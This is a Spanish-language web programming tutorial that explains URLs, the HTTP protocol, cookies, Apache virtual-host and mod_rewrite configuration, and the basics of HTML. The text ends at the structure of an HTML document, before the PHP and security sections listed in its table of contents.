Nisu - UJI

Web y PHP

22 December 2010

CopyLeft mm AT nisu.org

En esta página ...

  1. Fundamentos. URLs
  2. El protocolo HTTP
    1. Operativa
    2. Cabeceras
    3. Operativa
    4. GET y POST
    5. Las cookies
  3. Servidor Web Apache
  4. El lenguaje HTML
    1. Introducción
    2. Estructura básica de un documento HTML
    3. Otras etiquetas
    4. Hipervínculos o enlaces
    5. Tablas
    6. Formularios
  5. El lenguaje PHP
    1. El lenguaje
      1. Sintaxis
        1. eval
      2. Tipos de datos
      3. Estructuras de control
      4. Funciones
      5. Arrays.
      6. PCRE
        1. Expresiones regulares
        2. Expresiones más avanzadas
        3. Funciones
    2. Interacción con el web
      1. Variables predefinidas
      2. La instalación
      3. Formularios
      4. Subida de archivos
      5. Campos de entrada
      6. Sesiones
        1. Descripción
        2. Uso avanzado
      7. Codificación
    3. Acceso a base de datos
      1. Fundamentos
      2. Ejemplos con formularios
      3. Otros motores de base de datos
    4. Librerías, PEAR, PECL
    5. Programación web 1.0
      1. Programación guiada por eventos
      2. Un posible método
      3. Plantillas
      4. Ejemplos
    6. Problemas comunes
      1. Concurrencia
      2. Portabilidad
      3. Internacionalización
        1. Ideas básicas
        2. Plantillas y mensajes
        3. Realización
        4. El problema de la base de datos
      4. Distribución
        1. Uso básico
        2. Un instalador más completo
        3. Inicialización
        4. Compatibilidad
        5. Prueba del instalador
      5. Depuración
      6. Código cerrado
        1. eAccelerator
    7. Ejemplos típicos
      1. Autenticación
        1. Con usuario y contraseña
        2. Vía mail
        3. Con certificados
        4. Cruzada
      2. Almacenamiento de imágenes
    8. Misc
      1. Mejores URLs
      2. Continuación de descargas
  6. Seguridad Web
    1. Limpia la entrada
      1. Limpia lo que vas a mostrar
      2. Limpia lo que vas a consultar
      3. Limpia lo que vas a ejecutar
      4. Limpia los nombres de fichero
      5. Normaliza los nombres de fichero
    2. Cuida la autenticación
      1. Registra la IP
      2. Introduce información secreta
    3. Comprueba las autorizaciones
    4. Captcha
    5. Más información sobre seguridad
  7. Enlaces externos
Este tutorial no es para imprimir. Cambia frecuentemente, léelo en la pantalla, puedes aumentar el tamaño de letra. No despilfarres papel.

Introducción

En estos apuntes pretendo dar una introducción a la programación web clásica mediante PHP. Por favor enviadme sugerencias, erratas, mejoras, peticiones de ampliaciones, etc. Las explicaciones son breves, pues gran parte de la información está en los ejemplos, que deben ser leídos con atención.
Las zonas con borde izquierdo punteado son la ejecución en tiempo real del código PHP que le precede. Las zonas con un borde izquierdo rojo fino son zonas de lectura para usuarios especialmente interesados. El texto incluye ejercicios, que te recomiendo hacer si usas el texto para un aprendizaje programado.

Fundamentos. URLs

El world wide web (abreviadamente www, el web o la web) es el servicio más popular de Internet. De hecho por esta popularidad hay una tendencia en España a denominarlo Internet, confundiendo así el web con la misma Internet. El web es un hipermedia organizado en una serie de páginas extendidas a lo largo del planeta. Entendemos por hipermedia una serie de páginas que contienen información multimedia (texto, imagen, sonido, video) y además contienen unas marcas denominadas enlaces (hiperenlaces). Las páginas se encuentran en servidores. El usuario visualiza las páginas mediante un programa cliente denominado navegador, y cuando, mediante el ratón u otro medio, selecciona un enlace en una página, el navegador le lleva a otra que puede estar físicamente ubicada en otro servidor, en cualquier parte de Internet. Se construye así una inmensa telaraña de millones de páginas con todo tipo de información.
Su popularidad se debe tanto a la forma atractiva de presentar la información como justamente a la información misma, ya que los temas de ocio constituyen ahora mismo la temática más abundante.

Para poder seleccionar una página, debemos especificar su ubicación. Para ello se introduce el concepto de localizador uniforme de recursos o URL, que no es sino una forma general de especificar alguna información dentro de internet. La URL de una página web es de la forma: http://servidor/dir_página donde http es el protocolo, servidor es el ordenador donde está la página y dir_página es la forma de localizar la página dentro del servidor, usualmente de la forma: http://servidor/directorio1/directorio2/página donde los directorios web suelen corresponder con directorios (directorios) reales dentro del servidor.

La URL pretende recoger un gran abanico de posibilidades, para referenciar múltiples tipos de información. La forma general es: protocolo:dirección donde protocolo es el protocolo asociado al servicio y dirección es la forma de referenciar al objeto, bastante variable de unos protocolos a otros. Por ejemplo para el web la forma más general es: http://[usuario[:password]@]servidor[:puerto]/directorio1/directorio2/página seguida de [?parámetro1=valor1&parámetro2=valor2] El usuraio y la password son poco habituales, sólo para páginas de acceso restringido. Si no se especifican y son necesarios, el navegador los pide. El puerto se emplea cuando el servidor está atendiendo un puerto que no es el 80, el usual para el HTTP. Los parámetros de la página se emplean cuando la página es realmente un programa que genera contenido, no una página estática.

Las URL no están restringidas al mundo del web, sino que contemplan otros servicios, por ejemplo mailto:dirección de correo es una URL para representar direcciones de correo electrónico.

En el mundo Web, se admiten URLs que contengas caracteres no-ASCII en el nombre del servidor, por ejemplo http://españa.nisu.org/. La incompatibilidad con el DNS se resuelve empleando la codificación punycode, de modo que lo que se declara en el DNS es el nombre codificado. Así, para la URL anterior, en el DNS se definiría: xn--espaa-rta.nisu.org. La codificación se obtiene fácilmente con el comando idn, por ejemplo: idn -a 'españa.nisu.org'

El protocolo HTTP

El protocolo de transferencia de hiperTexto (Hypertext Transfer Protocol) es un sencillo protocolo cliente-servidor que articula los intercambios de información entre los clientes y los servidores web. La especificación completa del protocolo HTTP 1.0 está recogida en el RFC 1945.
Desde el punto de vista de las comunicaciones, está soportado sobre los servicios de conexión TCP/IP, y funciona de la misma forma que el resto de los servicios comunes de los entornos UNIX: un proceso servidor escucha en un puerto de comunicaciones TCP (por defecto, el 80), y espera las solicitudes de conexión de los clientes. Una vez que se establece la conexión, el protocolo TCP se encarga de mantener la comunicación y garantizar un intercambio de datos libre de errores.
HTTP se basa en operaciones de solicitud/respuesta. Un cliente establece una conexión con un servidor y envía un mensaje con los datos de la solicitud. El servidor responde con un mensaje similar, que contiene el estado de la operación y su posible resultado (por ejemplo, la información solicitada).
Las principales características del protocolo HTTP son:
  • Toda la comunicación entre los clientes y servidores se realiza a partir de caracteres de 8 bits. De esta forma, se puede transmitir cualquier tipo de documento: texto, binario, etc., respetando su formato original.
  • Permite la transferencia de objetos multimedia. El contenido de cada objeto intercambiado está identificado por su clasificación MIME.
  • Existen dos operacioness básicas (hay más, pero por lo general no se utilizan) que un cliente puede utilizar para dialogar con el servidor: GET, para recoger un objeto, POST, para enviar información al servidor
  • Cada operación HTTP implica una conexión con el servidor, que es liberada al término de la misma. Es decir, en una operación recoge un único objeto. Para aliviar la carga de los sistemas, actualmente una misma conexión se mantiene activa durante cierto tiempo, permitiendo realizar sucesivas transacciones sobre la misma, pero las transacciones siguen siendo completamente independientes.
  • No mantiene estado. Cada petición de un cliente a un servidor no es influida por las transacciones anteriores. El servidor trata cada petición como una operación totalmente independiente del resto. Esto va a amrcar decididamente la programación web.

Operativa

Veamos ahora cuales son las etapas de una transacción http típica. Para cada petición que un cliente realiza a un servidor se ejecutan los siguientes pasos:
  1. Un usuario accede a una URL, seleccionando un enlace de un documento HTML o introduciéndola directamente en el campo Location del cliente web.
  2. El cliente decodifica la URL, separando sus diferentes partes. Así identifica el protocolo de acceso, la dirección DNS o IP del servidor, el posible puerto opcional (el valor por defecto es 80) y el objeto requerido del servidor.
  3. Se abre una conexión TCP/IP con el servidor sobre el puerto TCP correspondiente.
  4. Se realiza la petición. Para ello, se envía el comando necesario (GET o POST), la dirección del objeto requerido (el contenido de la URL que sigue a la dirección del servidor), la versión del protocolo HTTP empleada (1.0 o 1.1) y a continuación un conjunto variable de información, que incluye datos sobre las capacidades del browser, datos opcionales para el servidor, etc. que se envían con el formato de una cabecera MIME.
  5. El servidor devuelve la respuesta al cliente. Consiste en un código de estado y el tipo de dato MIME de la información de retorno, seguido de la propia información.
  6. Si no se van a hacer más peticiones, se cierra la conexión TCP.
Este proceso se repite en cada acceso al servidor HTTP. Por ejemplo, si se recoge un documento HTML en cuyo interior están insertadas cuatro imágenes, el proceso anterior se repite cinco veces, una para el documento HTML y cuatro para las imágenes.

La primera línea de una petición HTTP indica la operación básica a realizar, normalmente GET o POST, el objeto sobre el que se va a realizar y la versión del protocolo a emplear, por ejemplo GET /index.html HTTP/1.1 Obsérvese que el objeto está referenciado localmente al servidor, no se realiza sobre la URL completa. Antes de la definición formal del protocolo HTTP, se admitían peticiones sin especificar el protocolo. Si probamos esta sintaxis obsoleta, veremos que muchos servidores todavía la soportan, y que después del comando el servidor sirve la página sin cabeceras. En cambio si enviamos el protocolo, el servidor espera después una cabecera en formato MIME (líneas del tipo Campo: valor y una línea en blanco), respondiendo con otra cabecera MIME y el objeto solicitado. Esta cabecera contendrá como mínimo el campo Content-type que nos indica el tipo de objeto que nos envía. Respecto a la mencionada cabecera de la petición, si la versión del protocolo es 1.0, no hay ningún campo obligatorio. En cambio si es 1.1, se requiere el campo Host, conteniendo el nombre del servidor (el que se indicó en la URL).

Saltar
Razonemos la importancia de Host. Originalmente el protocolo se pensó para que en un servidor sólo se almacenara un site, de modo que uan petición GET / significaba pedir la página principal del site. Pero los ISP que almacenan gran cantidad de sites, debían entonces asignar una IP distinta a cada site y poner un servidor web para cada site, algo totalmente impracticable. Los servidores web (como apache) evolucionaron rápidamente y permitieron atender varios sites con un único servidor, pero todavía era necesario usar una IP por sites. En cambio si se especifica Host el servidor conoce el sites y puede albergar muchos en una única IP.
Los servidores que admiten HTTP/1.0, mostrarán una página por defecto si no se especifica Host.

Cabeceras

Veamos algunos campos comunes a las peticiones y las respuestas:
  • Content-Type: descripción MIME de la información contenida en este mensaje. Es la referencia que utilizan las aplicaciones Web para dar el tratamiento correcto a los datos que reciben.
  • Content-Length: longitud en bytes de los datos enviados, expresado en base decimal.
  • Content-Encoding: formato de codificación de los datos enviados en este mensaje. Sirve, por ejemplo, para enviar datos comprimidos (x-gzip o x-compress) o encriptados.
  • Date: fecha local de la operación. Las fechas deben incluir la zona horaria en que reside el sistema que genera la operación. Por ejemplo: Sunday, 12-Dec-96 12:21:22 GMT+01. No existe un formato único en las fechas; incluso es posible encontrar casos en los que no se dispone de la zona horaria correspondiente, con los problemas de sincronización que esto produce.
  • Pragma: permite incluir información variada relacionada con el protocolo HTTP en el requerimiento o respuesta que se está realizando. Por ejemplo, un cliente envía un Pragma: no-cache para informar de que desea una copia nueva del recurso especificado.
Campos del cliente son:
  • Accept: campo opcional que contiene una lista de tipos MIME aceptados por el cliente. Se pueden utilizar * para indicar rangos de tipos de datos; tipo/* indica todos los subtipos de un determinado medio, mientras que */* representa a cualquier tipo de dato disponible.
  • Authorization: clave de acceso que envía un cliente para acceder a un recurso de uso protegido o limitado. La información incluye el formato de autorización empleado, seguido de la clave de acceso propiamente dicha.
  • From: campo opcional que contiene la dirección de correo electrónico del usuario del cliente Web que realiza el acceso.
  • If-Modified-Since: permite realizar operaciones GET condicionales, en función de si la fecha de modificación del objeto requerido es anterior o posterior a la fecha proporcionada. Puede ser utilizada por los sistemas de almacenamiento temporal de páginas. Es equivalente a realizar un HEAD seguido de un GET normal.
  • Referer: contiene la URL del documento desde donde se ha activado este enlace. De esta forma, un servidor puede informar al creador de ese documento de cambios o actualizaciones en los enlaces que contiene. No todos los clientes lo envían.
  • User-agent: identifica el tipo y versión del cliente que realiza la petición. Por ejemplo, los browsers de Netscape envían cadenas del tipo User-Agent: Mozilla/3.0 (WinNT; I).
Campos del servidor son:
  • Allow: informa de los comandos HTTP opcionales que se pueden aplicar sobre el objeto al que se refiere esta respuesta. Por ejemplo, Allow: GET, POST.
  • Expires: fecha de expiración del objeto enviado. Los sistemas de cache deben descartar las posibles copias del objeto pasada esta fecha. Por ejemplo, Expires: Thu, 12 Jan 97 00:00:00 GMT+1. No todos los sistemas lo envían.
  • Last-modified: fecha local de modificación del objeto devuelto. Se puede corresponder con la fecha de modificación de un fichero en disco, o, para información generada dinámicamente desde una base de datos, con la fecha de modificación del registro de datos correspondiente.
  • Location: informa sobre la dirección exacta del recurso al que se ha accedido. Cuando el servidor proporciona un código de respuesta de la serie 3xx, este parámetro contiene la URL necesaria para accesos posteriores a este recurso.
  • Server: identifica el tipo y versión del servidor HTTP. Por ejemplo, Server: NCSA 1.4.
  • WWW-Autenticate: cuando se accede a un recurso protegido o de acceso restringido, el servidor devuelve un código de estado 401, y utiliza este campo para informar de los modelos de autentificación válidos para acceder a este recurso.

Operativa

Antes de enviar la cabecera, el servidor muestra un código numérico que informa sobre el resultado de la operación. Lo hace en la primera línea, indicando la versión de HTTP, el mencionado código de tres dígitos y una descripción de valor meramente informativo. Dependiendo del servidor, es posible que se proporcione un mensaje de error más elaborado, en forma de documento HTML, en el que se explican las causas del error y su posible solución.Existen cinco categorías de mensajes de estado, organizadas por el primer dígito del código numérico de la respuesta:
  • 1xx: mensajes informativos.
  • 2xx: mensajes asociados con operaciones realizadas correctamente.
  • 3xx: mensajes que informan de operaciones complementarias que se deben realizar para finalizar la operación. Estas operaciones son ejecutadas normelmente de forma automática por los navegadores.
  • 4xx: el requerimiento contiene algún error, o no puede ser realizado. Son errores recuperables que requieren normalmente intervención del usuario.
  • 5xx: errores irecuperables, normalmente del servidor, que no ha podido llevar a cabo una solicitud.

El siguiente formulario permite hacer peticiones al servidor donde está alojada esta página.

Éstas son las cabeceras devueltas:
Y este es el contenido (las imágenes pueden no mostrarse adecuadamente):
Realiza peticiones para obtener las siguientes URLS:
http://doc.nisu.org/zz
http://patata.nisu.org
http://nisu.org
http://clauer.nisu.org/linux
http://www.microsoft.com
¿Por qué este servidor atiende peticiones para microsoft.com?.

GET y POST

Tres son los métodos fundamentales definidos por el estándar HTTP, GET, POST y HEAD. Este último es como GET pero sin el contenido del documento, sólo la cabecera. El hecho de que no lo soporten algunos servidores web populares hace que no se emplee. El método GET se emplea en el 99.99% de las transacciones web. GET significa coger y efectivamente es lo que hace: al pedir un objeto, si es un objeto estático, como una página o una imagen, implica simplemente su descarga y no se diferencia en nada de POST. Pero si el objeto pedido es un programa, el servidor lo ejecuta y le pasa información:
  • Si el método es GET, el programa encuentra la entrada estándard vacía. Puede tomar datos de la URL, y para ello se emplean justamente los parámetros pasados con ?. Los recibe en una variable denominada QUERY_STRING.
  • Si el método es POST, el programa recibe lo mismo que en GET pero encuentra datos en la entrada estándard, que son suministrados por el cliente después de la cabecera.
Siguiendo el estándar HTTP, GET debe usarse para consultas que no impliquen modificación de datos en el servidor. Por ello se emplea para cojer datos estáticos, o para invocar programas que simplemente consultan datos, dando los parámetros a través de la URL. La longitud de la URL es limitada por casi todos los servidores web, de modo que los parámetros deben tener una longitud moderada. La gran ventaja de pasar los datos por la URL es la posibilidad de colocar esta URL en un simple enlace (o en un marcador del navegador). Una invocación típica de un GET podría ser simplemente:
GET /script.php?param=valor HTTP/1.1
Host: www.nisu.org
producida al cargar la URL http://www.nisu.org/script.php?param=valor.

En cambio POST debe usarse para enviar datos a un programa que impliquen modificaciones en los datos del servidor. Por ello si recargamos una página web enviada por POST, el navegador nos advierte que va a enviar de nuevo los datos (lo que puede generar una incoherencia en lo almacenado en el servidor). Pueden enviarse grandes cantidades de datos y el programa los recibe por la entrada estándar (aparte de los parámetros de la URL que funcionan igual que con GET). Una petición minimalista por POST sería:

POST /script.php HTTP/1.1
Host: www.nisu.org
Content-length: 16

param=un%20valor
donde los datos se han enviado en formato URLencode, que es el que se usa en GET. No obstante para grandes cantidades de datos, por ejemplo para enviar archivos a un servidor, se emplea una codificación MIME con mejor aprovechamiento del ancho de banda.

POST no puede invocarse vía URL, este método se invoca desde los formularios. Obverva la necesidad de un campo Content-length cuando se realiza así el POST.

Tanto si se invoca por GET o POST un programa debe construir el objeto que se devuelve al cliente, incluída la cabecera. Por ello y según lo explicado antes, el programa mínimo sería:

mostrar "Content-type: text/html"
mostrar ""
mostrar "<html><body>hola
dado que es necesario al menos el campo Content-type.

Cuando estudiemos PHP veremos que internamente se ocupa tanto de enviar una cabecera por omisión como de procesar los datos recibidos por GET o POST, de modo que se simplifica la labor de la programación web.

La página que estás leyendo ha sido pedida por tu navegaodr por GET. Utilizando el interface anterior, pídela por POST enviando datos cualesquiera. Razona el resultado.

Las cookies

Las cookies son pequeñas cantidades de información que un servidor envía al cliente para que éste se las vuelva a enviar en la siguiente petición HTTP. El establecimiento de una cookie se realiza con la cabecera HTTP Set-Cookie y el cliente la devuelve con la cabecera de la petición Cookie.
Su objetivo es mantener un rastro de la visita de un cliente a un determinado servidor, lo que es de gran ayuda para la programación web pues ayuda al establecimiento de sesiones lógicas, ya que HTTP no contempla sesiones a nivel de protocolo.

Las cookies tienen ciertos atributos, muy importantes. En primer lugar el tiempo de vida: si no tiene una fecha de caducidad la cookie sólo durará mientras no se cierre el navegador, se las suele llamar cookies de sessión. Si la fecha es en el futuro, la cookie es almacenada por el navegador para usarla hasta el día que caduque. Si la fecha es en el pasado, es una orden para borrarla.
En segundo lugar el path, que establece, dentro de un servidor, dónde se envía la cookie: puede ser sólo a los accesos al mismo directorio que donde se generó o a todo el servidor.
En tercer lugar el dominio: en principio una cookie sólo debería devolverse al servidor que la originó, pero puede establecerse un dominio más amplio de modo que se envíe a diversos servidores. Ésto ha dado cierta mala fama infundada a las cookies porque si se aceptan cookies con dominios amplios, se produce una invasión de la intimidad del navegante, lo cual es irelevante porque la intimidad del usuario está muy comprometida de otras muchas formas mucho peores que las cookies.

Servidor Web Apache

En esta sección explicaré brevemente el servidor web apache, que funciona en muchas plataformas, aunque nos centraremos en Linux. No pretendo explicar todos los detalles de la configuración de apache, sino explicar los conceptos relevantes que pueden ser complejos de configurar.

El objetivo de un servidor web es obvio: atender las peticiones de los clientes de la forma más eficiente posible. Respecto a los criterios de eficiencia, un servidor que reciba pocas conexiones no interesa que esté siempre en marcha. En este caso atenderíamos el puerto 80 a través de (x)inetd.
No obstante esto no va a ser lo habitual, pues arrancar un servidor web tiene un elevado coste, dada la complejidad de los modernos servidores. Por ello, apache está habitualmente iniciado, esperando conexiones de los clientes. Cuando se recibe una de dichas conexiones, apache la atiende y registra la operación en un archivo de auditoría (log). Si se ha solicitado un archivo estático, como una imagen, la labor de apache es relativamente sencilla, simplemente lo lee y lo devuelve al cliente con las cabeceras apropiadas.
Pero cuando se solicita un programa, apache debe crear el entorno de ejecución apropiado y lanzar dicho programa (habitualmente llamado CGI). Si es un programa interpretado (como PHP), lanzará el intérprete del mismo. La ejecución de subprocesos puede ser una carga importante para el sistema, por lo que algunos intérpretes como PHP o Python suelen estar instalados como módulos de apache. Es decir, que el intérprete forma parte de apache, de modo que cuando hay que ejecutar un programa (script) PHP el intérprete ya está cargado. No obstante todavía hay que procesar el código fuente PHP, cosa que también puede acelerarse, aunque es menos habitual.

La instalación de apache es trivial pues viene integrado en todas las plataformas Linux. En Windows también es muy fácil, puede usarse por ejemplo easyphp. Una vez instalado apache, normalmente será necesario instalar también PHP, que se instala igual de sencillo. En debian, por ejemplo, basta con hacer:

apt-get install apache2
apt-get install php5
Si se quieren instalar módulos adicionales de apache o extensiones de PHP (el intérprete de PHP es as su vez modular), deben instalarse por separado, suele haber muchos disponibles desde apt-get. El resultado de la instalación es, entre otras cosas, una serie de archivos de configuració que podemos encontrar en /etc/apache2 (en otras distribuciones en /etc/httpd). En ese directorio encontraremos un archivo denominado httpd.conf o apache2.conf donde está la configuración del servidor. Normalmente esta configuración no suele cambiarse mucho, de modo que suele haber otros ficheros de configuración, que son cargados desde el principal, con parámetros que sí suelen modificarse.

Centrémonos en la instalación debian que está perfectamente organizada. Dentro de /etc/apache2, encontramos el directorio conf.d, donde se colocarán archivos de configuración específicos, como charset donde podemos establecer el juego de caracteres por defecto, usualmente UTF-8, pero también puede ser AddDefaultCharset ISO-8859-15.

Más importante es el directorio mods-available que contiene la lista de módulos de apache disponibles en la instalación. Cada módulo tiene asociado al menos un archivo cuyo objetivo es la carga del mismo, por ejemplo php5.load y a veces un archivo de configuración específica de este módulo, por ejemplo php5.conf. El directorio mods-enabled contiene enlaces simbólicos a los archivos de mods-available, pero sólo a los que se desea tener activos, de modo que desde apache2.conf se cargan (incluyen) sólo los deseados.

Históricamente apache admitía sólo un site por servidor, de modo que a veces se define un "site global" o site por defecto, aunque actualmente no debería hacerse. En su lugar se definen sites y se colocan en archivos del directorio sites-available, activándose algunos, como en el caso de los módulos, desde el directorio sites-enabled.
Pasemos a ver la configuración de un site, que es lo más importante. La configuración mínima de un site podría ser:

	<VirtualHost host.ejemplo.com:80>
	  Servername ejemplo.com
	  ServerAlias www.ejemplo.com
	  DocumentRoot /var/www/ejemplo.com
	  ErrorLog /var/log/apache2/ejemplo-error.log
	  CustomLog /var/log/apache2/ejemplo-access.log common
	  Options -Indexes +Includes +ExecCGI +FollowSymLinks +MultiViews
	</VirtualHost>
La directiva VirtualHost define un site. En este caso se asocia a la IP de host.ejemplo.com. El nombre del servidor será ejemplo.com, pero podrá ser invocado (alias) como www.ejemplo.com. La directiva fundamental es DocumentRoot. Éste es el directorio de donde cuelga el sub-árbol de directorios del web. Es decir, cuando accedamos a http://ejemplo.com/pagina.html, el servidor web la buscará en /var/www/ejemplo.com/pagina.html. O sea, que como se podía imaginar el directorio raíz del árbol de directorios del web es un subdirectorio del sistema de archivos del ordenador, de modo que los clientes web no tienen acceso fuera de ese sub-árbol.
Las directivas ErrorLog y CustomLog establecen donde se registran los errores y los accesos normales a este site. La directiva Options establece un conjunto de opciones convenientes para el site. La información detallada de su significado está en la página web del proyecto apache.
En esta configuración hemos asignado un site a una IP. Pero lo habitual será asignar varios sites a la misma IP. Para ello es necesario usar la directiva NameVirtualHost, según: NameVirtualHost host.ejemplo.com:80 , que indica que en la IP que corresponde a host.ejemplo.com, puerto 80, se atienden varios sites y por ello se distinguen por nombre y no por IP. Es correcta la sintaxis NameVirtualHost *:80 que establece que todas als IPs asociadas a la máquina se atienden según el criterio de varios sites por IP. Así:
	NameVirtualHost host.ejemplo.com:80
	<VirtualHost host.ejemplo.com:80>
	  Servername ejemplo.com
	  ServerAlias www.ejemplo.com
	  DocumentRoot /var/www/ejemplo.com
	  ErrorLog /var/log/apache2/ejemplo-error.log
	  CustomLog /var/log/apache2/ejemplo-access.log common
	  Options -Indexes +Includes +ExecCGI +FollowSymLinks +MultiViews
	</VirtualHost>
	<VirtualHost host.ejemplo.com:80>
	  Servername ejemplo2.com
	  ServerAlias www.ejemplo2.com
	  DocumentRoot /var/www/ejemplo2.com
	  ErrorLog /var/log/apache2/ejemplo2-error.log
	  CustomLog /var/log/apache2/ejemplo2-access.log common
	</VirtualHost>
sería la cofiguración de dos sites sobre la IP de host.ejemplo.com. Uno de ellos respondería cuando se accediese a ejemplo.com o www.ejemplo.com y el otro a ejemplo2.com o www.ejemplo2.com. Obviamente tanto host.ejemplo.com como ejemplo.com, www.ejemplo.com, ejemplo2.com y www.ejemplo2.com a nivel de DNS deben resolver todos a la misma IP.
Si nuestro servidor atiende HTTP/1.0 y llega una petición sin el campo Host en la cabecera, ¿qué VirtualHost atenderá la petición?.
Saltar
El módulo de reescritura (mod_rewrite) permite realizar complejas redirecciones condicionales mediante expresiones regulares. Combinandolo con la potencia de ServerAlias podemos contruir un VirtualHost tan potente como éste:
	  <VirtualHost *:80>
	    Servername ejemplo.com
	    ServerAlias * # todos los servidores posibles
	    DocumentRoot /var/www
	    RewriteEngine On
	    RewriteMap lowercase int:tolower
	    RewriteCond %{HTTP_HOST} ^(.*)$ [NC]
	    RewriteRule ^(.+)$ %{DOCUMENT_ROOT}/${lowercase:%1}$1 [L]
	    RewriteRule ^(.+)$ %{DOCUMENT_ROOT}/error/index.html
	    CustomLog /var/log/apache2/access.log "%V %h %l %u %t \"%r\" %>s %b"
	  </VirtualHost>
Hemos definido un VirtualHost que coincide con todos los posibles servidores que hagamos apuntar a nuestro apache vía DNS. La condición indicada con RewriteCond se cumple siempre y sólo sirve para asignar a %1 el nombre del host tal y como le llega al servidor. La primera regla de reescritura envía por ejemplo http://un.servidor.com/dir1/p.html a /var/www/un.servidor.com/dir1/p.html de modo que en nuestro sistema, para añadir un dominio nuevo basta con crear el directorio en /var/www y apuntar en el DNS a nuestro apache.
Si la IP de nuestro servidor es la 2.3.4.5, en este esquema de ServerAlias *, ¿qué haremos para atender una petición del tipo http://2.3.4.5/?.
En la misma línea, observemos el caso de la máquina al.nisu.org. A nivel DNS, todos los nombres acabados en al.nisu.org resuelven a la misma IP, de modo que definimos:
	  <VirtualHost *:80>
	    Servername al.nisu.org
	    ServerAlias *.al.nisu.org
	    DocumentRoot /var/www/alus/
	    RewriteEngine On
	  1 RewriteRule ~([^/]*) http://al.nisu.org/miserv.php?ori=$1 [L]
	    RewriteMap lowercase int:tolower
	  2 RewriteCond %{HTTP_HOST} ^.*?\.?([^.]+)+\.al\.nisu [NC]
          3 RewriteCond /home/${lowercase:%1}/public_html -d
	  4 RewriteRule ^(.+)$ /home/${lowercase:%1}/public_html/$1 [L,E=ES_AL:yes]
	  5 RewriteCond %{HTTP_HOST} ^.*?\.?([^.]+)+\.al\.nisu [NC]
	  6 RewriteRule ^(.+)$ /var/www/alus/nopage.php?ori=${lowercase:%1} [L]
	  7 CustomLog "| /usr/local/sbin/log_user_web"
	      "%f!%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" env=ES_AL
	  8 CustomLog /var/log/apache2/access.log combined env=!ES_AL
	  </VirtualHost>
La primera regla de reescritura (#1) detecta urls de la forma http://xxxx.al.nisu.org/~usuario y las sustituye por una invocación al script miserv.php que simplemente sugiere al visitante que debe usar URLs del tipo http://usuario.al.nisu.org/.
La condición #2 detecta URLs de tipo http://usuario.al.nisu.org/ (o incluso con más dominios delante) y almacena usuario. La condición #3, que se aplica si se cumple la anterior, comprueba que existe el directorio donde usuario debe haber colocado sus páginas y si es así, la regla de reescritura #4 redirige una petición del tipo http://usuario.al.nisu.org/cosa/otracosa hacia /home/usuario/public_html/cosa/otracosa y termina el procesamiento de las reescrituras ([L]), definiendo al mismo tiempo la variable de entorno ES_AL.
La condición #5 es la misma que la #2, y se llega si las condiciones anteriores han fallado, detecta usuario, y la regla #6 envía usuario al script nopage.php que informa al visitante de que no existe.
Las directivas #7 y #8 establecen la forma de los logs para el caso de que exista la variable ES_AL y para el caso de que no. La regla #8 es un log normal, mientras que la #7, envía las líneas de log, incluyendo el nombre del fichero, al programa log_user_web que almacena los logs en el directorio del usuario para su información.
La información completa del citado servidor se encuentra aquí..
Acceder a URLS dentro de al.nisu.org que provoquen los errores tratados por el VirtualHost definido. Razonar la diferencia entre la invocación a miserv.php (con URL completa) y a nopage.php (con acceso local) y mejora la que crees que no es correcta.

El lenguaje HTML

No es el objetivo de este documento dar una referencia completa de HTML sino solamente unas líneas generales a modo de introducción.

Introducción

HTML, Hyper Text Markup Language (Lenguaje de Marcado de Hipertexto) es un lenguaje que permite describir documentos, cuya principal característica es permitir los hiperenlaces o referencias a documentos externos. Los documentos HTML son ficheros de texto plano, sin caracteres especiales o de control (todos deben ser códigos ASCII). Suelen tener asignada las extensiones htm o html (depende del sistema operativo), pero gracias a MIME es posible utilizar otras extensiones, sin más que alterar la correspondiente base de datos MIME de los clientes o servidores.

La composición y formato de un documento se realiza a base de insertar de etiquetas, palabras reservadas del lenguaje rodeadas de los símbolos < >. Las etiquetas pueden ser de tres tipos:

  • Pareadas, cuando siempre aparece una etiqueta de inicio y otra de final. La etiqueta de final es como la de inicio, salvo que utiliza los símbolos </ >. De esta forma, se puede cambiar el formato de bloques completos. <H1>Esto es un título</H1>.
  • Sin parear, cuando la etiqueta representa la inserción de un elemento, como una imagen, un salto de línea, ... <IMG SRC="foto.gif"><BR>
  • Con final opcional, son etiquetas pareadas en las cuales no es necesario emplear la etiqueta de final. El final de un bloque viene marcado por el inicio de otro. Ejemplos de este tipo son los párrafos o los elementos de una lista. <P>Esto es un párrafo <P>Y esto otro.
Un elemento muy importante del lenguaje HTML son los atributos de cada etiqueta, que representan opciones que modifican su comportamiento por defecto. Los atributos se incluyen junto con la etiqueta correspondiente, dentro de los símbolos < >. Las etiquetas de final nunca incluyen atributos. Los atributos pueden tener asignado un valor característico, con el formato nombre="...". Este valor puede ser una opción de una lista de opciones prefijadas, un nombre de fichero, un número, etc. Por lo general, siempre se debe incluir el valor entre dobles comillas, de forma que se respete la integridad de la información (por ejemplo los cambios de mayúsculas y minúsculas en un nombre de fichero o los espacios en blanco). Sin embargo, cuando el valor sea una opción de un conjunto prefijado o un número, es posible prescindir de las comillas, y usar cualquier combinación de mayúsculas y minúsculas. Ejemplos:
<P ALIGN="right">
<P ALIGN=Left>
<IMG SRC="FotoGrande.gif">
<HR NOSHADE>
HTML no distingue entre mayúsculas y minúsculas, por lo que las etiquetas podrán escribirse con cualquier combinación de caracteres, buscando siempre la mejor legibilidad del documento. A la hora de presentar un documento en pantalla, los clientes Web no respetan el posible formato que contenga el documento fuente (espacios entre líneas o palabras adicionales, tabuladores, etc.), sino que son las propias etiquetas de HTML las que controlen este formato.

Estructura básica de un documento HTML

Aunque el HTML es un lenguaje bien definido, los analizadores gramaticales de los navegadores son extremadamente flexibles y suelen recuperarse bastante bien de los errores de los documentos. Por eso es habitual ver páginas web con un HTML minimalista que es mostrado sin problemas. No obstante, veamos ahora cómo debería ser un documento HTML:
<!DOCTYPE HTML PUBLIC ...>  Versión de HTML
<HTML>
<HEAD> Información sobre características del documento
</HEAD>
<BODY> Contenido "visible" de la página
</BODY>
</HTML>
